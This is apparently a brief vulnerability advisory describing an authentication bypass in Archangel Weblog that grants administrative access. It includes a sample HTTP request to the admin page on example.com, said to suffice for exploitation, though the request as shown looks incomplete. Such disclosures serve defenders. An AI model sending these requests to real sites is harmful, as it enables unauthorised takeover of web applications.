Archangel Weblog is prone to an authentication-bypass vulnerability. This issue is due to a failure in the application to properly validate user-supplied data.
|
|
|
|
An attacker can exploit this issue to bypass the authentication mechanism and gain access to the affected application as an administrative user. This may facilitate a compromise of the underlying system; other attacks are also possible.
|
|
|
|
The following example HTTP request is sufficient to exploit this issue:
|
|
GET http://www.example.com/awb/admin/index.php HTTP/1.1
|
|
Host: www.example.com
|
|
